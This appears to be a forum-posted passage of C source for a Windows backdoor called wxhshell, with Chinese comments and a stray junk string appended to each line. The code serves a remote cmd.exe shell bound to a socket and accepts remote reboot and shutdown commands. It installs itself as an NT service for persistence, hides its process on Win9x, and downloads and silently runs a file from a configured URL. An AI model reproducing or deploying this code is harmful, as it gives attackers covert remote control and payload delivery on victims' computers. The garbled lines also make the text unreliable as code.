  &k-Vcrcz  
  // 帮助 W[EKD 7  
  case '?': { 9O{b]=>wq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l3Njq^T  
    break; J^R=dT!  
  } ~/^5) g_  
  // 安装 X@@8"@/u|*  
  case 'i': { yRp"jcD  
    if(Install()) 98=wnWX 6$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jls-@Wl  
    else (Yo>Oh4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RrU BpqA  
    break; bVP"(H]  
    } rc&%m  
  // 卸载 s,#>m*Rh  
  case 'r': { ;%tF58&  
    if(Uninstall()) ljl^ GFo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.s({/|[  
    else t!Sq A(-V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V%$/#sza  
    break; v8AS=sY4r  
    } .920{G?l5  
  // 显示 wxhshell 所在路径 bR@p<;G|  
  case 'p': { ]smkTo/  
    char svExeFile[MAX_PATH]; qC F5~;7  
    strcpy(svExeFile,"\n\r"); ][}0#'/mV  
      strcat(svExeFile,ExeFile); O G<,- 7  
        send(wsh,svExeFile,strlen(svExeFile),0); c'/l,k  
    break; |5Xq0nvCe  
    } U9b?i$  
  // 重启 .bBdQpF-  
  case 'b': { Y0eE-5F,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {(r6e  
    if(Boot(REBOOT)) L(&&26Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zQN[  
    else { %p%%~ewmx  
    closesocket(wsh); q, O$ %-70  
    ExitThread(0); g}@OUG"D  
    } YPHS 1E?  
    break; LL:_L<  
    } %*BlWk!Q  
  // 关机 2eMTxwt*S  
  case 'd': { J!5$,%v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mI74x3 [  
    if(Boot(SHUTDOWN)) .^B*e6DAD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pz"0J_xDM  
    else { Lemui)  
    closesocket(wsh); ,VO2a mI  
    ExitThread(0); 8WnwQ%;m?  
    } |sJSN.8  
    break; ZP{*.]Qu  
    } ~"A+G4jl  
  // 获取shell vVOh3{e|  
  case 's': { '],J$ge  
    CmdShell(wsh); @S|XGf  
    closesocket(wsh); 1GzAG;UUo6  
    ExitThread(0); ,v"YqD+GC5  
    break; 6Ybg^0m  
  } T=ev[ mS  
  // 退出 -'6Dg  
  case 'x': { yPq'( PV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AK@9?_D  
    CloseIt(wsh); /Rl6g9}  
    break; dAuJXGo  
    } p5G?N(l  
  // 离开 S]+ :{9d  
  case 'q': { K6R.@BMN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TYW&!sm  
    closesocket(wsh); wmTb97o  
    WSACleanup(); .9wk@C(Eh_  
    exit(1); F6z%VWU  
    break; ;+"+3  
        } V:y'Qf2M  
  } F w?[lS  
  } M3.do^ss  
{.XEL  
  // 提示信息 YPxM<Gfa8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yw- G'  
} _*f`iu:`  
  } (!:,+*YY  
YOcO4   
  return; 7Op>i,HZk\  
} >7 ="8  
i{`:(F5*  
// shell模块句柄 v/_  
int CmdShell(SOCKET sock) Hm*/C4B`  
{ r]6C  
STARTUPINFO si; |:gf lseE  
ZeroMemory(&si,sizeof(si)); OGl}-kw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m;,N)<~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mHRiugb!  
PROCESS_INFORMATION ProcessInfo; PpzP7  
char cmdline[]="cmd"; 'tH_p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :=Nz }mUV  
  return 0; ,y#Kv|R  
} o2F)%TDY  
?{[ v+t#  
// 自身启动模式 J\b^)  
int StartFromService(void) u ,KD4{!  
{ ?{ryGhb~  
typedef struct z:wutqru  
{ %%[LKSTb  
  DWORD ExitStatus; x<ZJb  
  DWORD PebBaseAddress; Te[n,\Nb  
  DWORD AffinityMask; XuFYYx~ ^3  
  DWORD BasePriority; cz8T  
  ULONG UniqueProcessId; p^w;kN  
  ULONG InheritedFromUniqueProcessId; e~=;c  
}   PROCESS_BASIC_INFORMATION; JJN.ugT}1  
9P+-#B  
PROCNTQSIP NtQueryInformationProcess; vQ 6^xvk]  
xA$XT[D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4\iOeZRf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]Gsv0Xk1  
YpVD2.jy  
  HANDLE             hProcess; T{-CkHf9Q  
  PROCESS_BASIC_INFORMATION pbi; ~UP[A'9jJ  
Jcd-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J| w>a  
  if(NULL == hInst ) return 0; VZKvaxIk6  
gi1^3R[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .[ICx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hquc o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bKMy|_  
Hx?;fl'G%  
  if (!NtQueryInformationProcess) return 0; #cI{Fe0h  
3EPv"f^V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _uy44; zq  
  if(!hProcess) return 0; sYI-5D]  
b gK}-EU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Po^?QVJ7  
UM"- nZ>[  
  CloseHandle(hProcess); 6a~|K-a6  
<Z mg#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lR6@ xJd:@  
if(hProcess==NULL) return 0; qm/22:&v5  
hcsP2 0s  
HMODULE hMod; *`5.|{<j{  
char procName[255]; t.i 8 2Q  
unsigned long cbNeeded; EM(gmWHij  
_@ qjV~%Sy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;U+3w~  
pmyXLT  
  CloseHandle(hProcess); 2K/4Rf0;  
w;4<h8Wn5  
if(strstr(procName,"services")) return 1; // 以服务启动 4V)kx[j  
, /Z%@-rF  
  return 0; // 注册表启动 ;n*.W|Uph  
} "*e$aTZB\  
#A JDWelD  
// 主模块 RbOUfD(J4  
int StartWxhshell(LPSTR lpCmdLine) U:0mp"  
{ KQ% GIz x  
  SOCKET wsl; {k TE He  
BOOL val=TRUE; z]_wjYn Z  
  int port=0; {EB;h\C  
  struct sockaddr_in door;  UD2C>1j  
bN1|q| 9  
  if(wscfg.ws_autoins) Install(); f@wquG'  
KQ!8ks]  
port=atoi(lpCmdLine); *v!9MU9[(  
BYL)nCc  
if(port<=0) port=wscfg.ws_port; /T0F"e)Ci  
+V ;l6D  
  WSADATA data; 61C7.EZZ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4DI8s4fi  
P~>O S5^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H)kwQRfu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #wwH m3  
  door.sin_family = AF_INET; |6sp/38#p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q376m-+  
  door.sin_port = htons(port); 823Y\x~>  
Q4#m\KK;i9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _{YWXRC#  
closesocket(wsl); /K@XzwM  
return 1; ;PF<y9M  
} &R'c.  
aFX=C >M  
  if(listen(wsl,2) == INVALID_SOCKET) { !C ':  
closesocket(wsl); uP)'FI  
return 1; _^Ubs>d=*  
} 99e.n0  
  Wxhshell(wsl); /$Nsd  
  WSACleanup(); 3w*R&  
5IGX5x  
return 0; JzQ_{J`k  
y4?0j:  
} xX&+WR  
%HhnSi1K  
// 以NT服务方式启动 [Gb. JO}X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ?Jm^<  
{ = SMXDaH  
DWORD   status = 0; cKca;SNql1  
  DWORD   specificError = 0xfffffff; G:<aB  
#4 <SAgq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *SJ_z(CZm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :'X&bn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >C>.\  
  serviceStatus.dwWin32ExitCode     = 0; ? =Z?6fw  
  serviceStatus.dwServiceSpecificExitCode = 0; HmGWht6R  
  serviceStatus.dwCheckPoint       = 0; o q Xg  
  serviceStatus.dwWaitHint       = 0; {3mRq"e  
EHJ.T~X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t\dN DS  
  if (hServiceStatusHandle==0) return; :D5Rlfj  
L\J;J%fz.  
status = GetLastError();  ,f%S'(>w  
  if (status!=NO_ERROR) ~g]Vw4pv  
{ I3L<[-ZE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zFfr. g;L  
    serviceStatus.dwCheckPoint       = 0; 8b& /k8i:  
    serviceStatus.dwWaitHint       = 0; _`j7clEz  
    serviceStatus.dwWin32ExitCode     = status; BA:VPTZq  
    serviceStatus.dwServiceSpecificExitCode = specificError; e8a+2.!&\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V+Y%v.F  
    return; W aRw05r  
  } 6xx ?A>:  
X 'Xx"M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gx/Oi)&/  
  serviceStatus.dwCheckPoint       = 0; kiaw4_  
  serviceStatus.dwWaitHint       = 0; +Mb.:_7'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /{ g>nzP  
} JGrWHIsNV  
$ bR~+C  
// 处理NT服务事件,比如:启动、停止 'o2Fa_|<#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %YscBG  
{ c7k~S-nU  
switch(fdwControl) &DX! f  
{ IHac:=*Q  
case SERVICE_CONTROL_STOP: ""G'rN_=Bi  
  serviceStatus.dwWin32ExitCode = 0; K($Npuu]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \!ZTL1b8t  
  serviceStatus.dwCheckPoint   = 0; &U#|uc!+  
  serviceStatus.dwWaitHint     = 0; `*R:gE=  
  { {%H'z$|{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BX7kO0j  
  } D/&o& G96  
  return; T.BW H2gRP  
case SERVICE_CONTROL_PAUSE: A?P_DA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6%_nZvRv  
  break; IOmfF[  
case SERVICE_CONTROL_CONTINUE: .t!x<B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]w8(&,PP  
  break; KkbDW3-  
case SERVICE_CONTROL_INTERROGATE: b]#AI qt  
  break; hL{KRRf>  
}; tS=(}2Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;*Et[}3  
} ea 'D td  
/(*q}R3Kfo  
// 标准应用程序主函数 !l8PDjAE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;N0XFjdR  
{ 0'C1YvF  
dR,fXQm  
// 获取操作系统版本 l'_r:b  
OsIsNt=GetOsVer(); $%#!bV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q>+k@>bk @  
JPw.8|V)y  
  // 从命令行安装 ]{@-HTt  
  if(strpbrk(lpCmdLine,"iI")) Install(); ( Erc3Ac8  
K w ]=  
  // 下载执行文件 3F2w-+L  
if(wscfg.ws_downexe) { hRhe& ,v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tT_\i6My  
  WinExec(wscfg.ws_filenam,SW_HIDE); htF] W|z  
} `M8i92V\qY  
^u ~Q/ 4  
if(!OsIsNt) { "+G8d' %YV  
// 如果时win9x,隐藏进程并且设置为注册表启动 xi}skA  
HideProc(); !Wnb|=j  
StartWxhshell(lpCmdLine); 0 M[EEw3  
} lRFYx?y  
else `d}2O%P  
  if(StartFromService()) j A%u 5V  
  // 以服务方式启动 /*mI<[xb  
  StartServiceCtrlDispatcher(DispatchTable); ^<2p~h0 \  
else 8&slu{M- t  
  // 普通方式启动 lt8|9"9<  
  StartWxhshell(lpCmdLine); A3/k@S-R2  
1mG-}  
return 0; kt:! 7  
}
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只看该作者 1 发表于: 2006-10-10
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